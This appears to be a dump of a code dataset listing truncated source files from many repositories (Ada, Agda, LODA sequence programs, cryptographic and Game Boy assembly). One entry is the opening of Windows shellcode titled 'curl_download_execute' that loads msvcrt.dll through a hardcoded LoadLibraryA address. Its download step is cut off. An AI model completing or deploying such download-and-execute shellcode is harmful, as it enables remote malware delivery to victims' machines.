programs/oeis/012/A012864.asm | neoneye/loda | 22 | 166067 | ; A012864: Take every 5th term of Padovan sequence A000931, beginning with the first term.
; 1,1,3,12,49,200,816,3329,13581,55405,226030,922111,3761840,15346786,62608681,255418101,1042002567,4250949112,17342153393,70748973084,288627200960,1177482265857,4803651498529,19596955630177,79947654422626,326154101090951,1330576... |
applet/aide/source/editors/aide-editor.ads | charlie5/aIDE | 3 | 17452 | <gh_stars>1-10
with
-- AdaM.Source,
AdaM.Entity,
gtk.Widget;
package aIDE.Editor
is
type Item is abstract tagged private;
type View is access all Item'Class;
-- function to_Editor (Target : in AdaM.Source.Entity_view) return Editor.view;
function to_Editor (Target : in AdaM.Entity.... |
src/Magma/Bundles.agda | Akshobhya1234/agda-NonAssociativeAlgebra | 2 | 6970 | <gh_stars>1-10
{-# OPTIONS --without-K --safe #-}
module Magma.Bundles where
open import Algebra.Bundles
open import Algebra.Core
open import Magma.Structures
open import Relation.Binary
open import Level
record IdempotentMagma c ℓ : Set (suc (c ⊔ ℓ)) where
infixl 7 _∙_
infix 4 _≈_
field
Carrier : Set c... |
test/asset/agda-stdlib-1.0/Relation/Binary/Construct/Union.agda | omega12345/agda-mode | 0 | 2905 | <filename>test/asset/agda-stdlib-1.0/Relation/Binary/Construct/Union.agda
------------------------------------------------------------------------
-- The Agda standard library
--
-- Union of two binary relations
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}... |
src/darwin/amd64/threefish256.asm | TomCrypto/Ordo | 1 | 170820 | <gh_stars>1-10
;/===-- threefish256.asm ------------------*- shared/unix/amd64 -*- ASM -*-===*/
; Threefish-256 implementation for AMD64
;/===----------------------------------------------------------------------===*/
BITS 64
global _threefish256_forward_ASM
global _threefish256_inverse_ASM
section .text
_threefi... |
Curl/curl_download_execute.asm | kartikdurg/Shellcode-Windows | 3 | 160201 | <gh_stars>1-10
xor eax, eax ;Get the msvcrt.dll
mov ax, 0x7472 ;"tr\0\0"
push eax
push dword 0x6376736d ;"cvsm"
push esp
; LoadLibrary
mov ebx, 0x76322990 ;Address of function LoadLibraryA (win10)
call ebx
mov ebp, eax ;msvcrt.dll is saved in ebp
xor eax, eax ;zer... |
writeups/flag3/src/header.asm | zer0x64/nsec2022-gband | 0 | 80097 | SECTION "Header", ROM0[$100]
; This is your ROM's entry point
; You have 4 bytes of code to do... something
di
jp EntryPoint
; Make sure to allocate some space for the header, so no important
; code gets put there and later overwritten by RGBFIX.
; RGBFIX is designed to operate over a zero-filled header, so ma... |
list1/task2/src/main.adb | luk9400/nsi | 0 | 10450 | <gh_stars>0
with Poly; use Poly;
with Ada.Text_IO;
procedure Main is
Arr: Vector (0 .. 1) := (7, 4);
X: Integer;
begin
X := 2;
Ada.Text_IO.Put_Line ("Value of poly: " & Horner(X, Arr)'Image);
end Main;
|
programs/oeis/024/A024711.asm | neoneye/loda | 22 | 176857 | <reponame>neoneye/loda
; A024711: a(n) = residue mod 2 of n-th term of A024702.
; 1,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0,1,0,1,1,0,1,1,0,1,1,1,0,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,1,1,0,1,0,1,1,1,1
add $0,1
seq $0,98090 ; Numbers k suc... |
src/test/aunit/main.adb | senier/genode-world | 0 | 2006 | --
-- \brief AUnit test program
-- \author <NAME>
-- \date 2019-01-03
--
with GNAT.IO;
with AUnit;
procedure Main is
use GNAT.IO;
begin
Put_Line ("No AUnit test, yet.");
end Main;
|
old/Sets/PredicateSet/Filter.agda | Lolirofle/stuff-in-agda | 6 | 7599 | module Sets.PredicateSet.Filter {ℓₒ} {ℓₒₗ} where
import Lvl
open import Functional
open import Logic.Propositional
-- open import Sets.PredicateSet
open import Type{ℓₒ Lvl.⊔ ℓₒₗ}
-- An element in Filter(T) is in the subset of T.
-- Something of type Filter(T) is of a restricted part of T.
-- Note: The level of S... |
dino/lcs/enemy/85.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 84487 | <reponame>zengfr/arcade_game_romhacking_sourcecode_top_secret_data<filename>dino/lcs/enemy/85.asm
copyright zengfr site:http://github.com/zengfr/romhack
001268 bne $1278 [enemy+ 5, enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5, etc+25, item+25]
0012B8 bne $12c8 [enemy+ 5, enemy+25, enemy+45, enemy+65, ene... |
Task/Bitmap-Histogram/Ada/bitmap-histogram-3.ada | LaudateCorpus1/RosettaCodeData | 1 | 5396 | <reponame>LaudateCorpus1/RosettaCodeData<filename>Task/Bitmap-Histogram/Ada/bitmap-histogram-3.ada
F1, F2 : File_Type;
begin
Open (F1, In_File, "city.ppm");
declare
X : Image := Get_PPM (F1);
Y : Grayscale_Image := Grayscale (X);
T : Luminance := Median (Get_Histogram (Y));
begin
Clo... |
test/Succeed/Issue1345.agda | redfish64/autonomic-agda | 0 | 8669 | -- {-# OPTIONS -v reify:80 #-}
open import Common.Prelude
open import Common.Reflection
open import Common.Equality
module Issue1345 (A : Set) where
unquoteDecl idNat = define (vArg idNat)
(funDef (pi (vArg (def (quote Nat) [])) (abs "" (def (quote Nat) [])))
(clause (vArg (var "") ∷ []) (var 0 []) ∷ [])... |
src/test/resources/data/reorganizertests/test-inlining.asm | cpcitor/mdlz80optimizer | 36 | 99890 | ; Test of the function inlining feature
org #4000
ld bc,var
; calling func1 (this should be inlined)
call func1
ld hl,var
ld (hl),a
; calling func2 (this should not be inlined, since it's called twice)
call func2
; calling func3 (this should not be inlined either,
; since there is a dependency with the fu... |
dimension/devtool/clibs/stdio/stdio.asm | ekscrypto/Unununium | 7 | 16348 | <filename>dimension/devtool/clibs/stdio/stdio.asm
; Unununium Standard Libs by <NAME>
; STDIO
;
; Description: Provides FS interface to UUU
;
;
; Status: Coding
;
; ToDO:
; --------
; [ ] Finish the functions
; [x] Finish buffering
; [ ] Add all C Defines in stddef.inc
;
;
;
;
%include "struct.def"
%include "define.... |
Applications/Finder/front window/(target of front window) as alias.applescript | looking-for-a-job/applescript-examples | 1 | 2930 | <filename>Applications/Finder/front window/(target of front window) as alias.applescript<gh_stars>1-10
#!/usr/bin/osascript
tell application "Finder" to (target of front window) as alias |
04_hello_world_input.asm | v3ree/learning_asm | 0 | 167211 | ; Compile with: nasm -f elf <filename>.asm
; Link with (64 bit systems require elf_i386 option): ld -m elf_i386 <filename>.o -o <filename>
%include "str_lib0.asm"
SECTION .data
str0 db "Please write your name: ", 0x00
str1 db "Hello, ", 0x00
SECTION .bss
name resb 255
SE... |
oeis/105/A105369.asm | neoneye/loda-programs | 11 | 176756 | <gh_stars>10-100
; A105369: Expansion of ((1+x)^3 - x^3)/((1+x)^5 - x^5).
; Submitted by <NAME>
; 1,-2,3,-5,10,-20,35,-50,50,0,-175,625,-1625,3625,-7250,13125,-21250,29375,-29375,0,106250,-384375,1006250,-2250000,4500000,-8140625,13171875,-18203125,18203125,0,-65859375,238281250,-623828125,1394921875,-2789843750,504687... |
programs/oeis/037/A037528.asm | jmorken/loda | 1 | 86944 | ; A037528: Base-3 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,2.
; 1,4,14,43,130,392,1177,3532,10598,31795,95386,286160,858481,2575444,7726334,23179003,69537010,208611032,625833097,1877499292,5632497878,16897493635,50692480906,152077442720,456232328161
add $0,1
mov $2,6
lpb... |
src/menus.ads | thomas070605/shoot-n-loot | 0 | 24231 | <reponame>thomas070605/shoot-n-loot<gh_stars>0
-- Shoot'n'loot
-- Copyright (c) 2020 <NAME>
package Menus is
procedure Run with No_Return;
end Menus;
|
src/VCEL.Core/Lang/VCELLexer.g4 | lywonglokyin/vcel | 5 | 4992 | <reponame>lywonglokyin/vcel
lexer grammar VCELLexer;
LET: 'let';
MATCH: 'match';
OTHERWISE: 'otherwise';
OPEN_BRACE: '{';
CLOSE_BRACE: '}';
LPAREN: '(';
RPAREN: ')';
COMMA: ',';
QUEST: '?';
COLON: ':';
NOT: '!';
AND: 'and'|'&&';
OR: 'or'|'||';
GT: '>';
GTE: '>=';
LT: '<';
LTE: '<=';
EQ: '==';
NEQ: '!=';
IN: 'in';
MA... |
src/app/run_spat-print_entities.adb | HeisenbugLtd/spat | 20 | 28235 | ------------------------------------------------------------------------------
-- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>)
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the... |
examples/src/mtserver.adb | sonneveld/adazmq | 0 | 17399 | -- Multithreaded Hello World server
with Ada.Command_Line;
with Ada.Text_IO;
with GNAT.Formatted_String;
with ZMQ;
procedure MTServer is
use type GNAT.Formatted_String.Formatted_String;
type Context_Access is access all ZMQ.Context_Type'Class;
task type Worker_Routine_Type is
entry Start (Context_... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.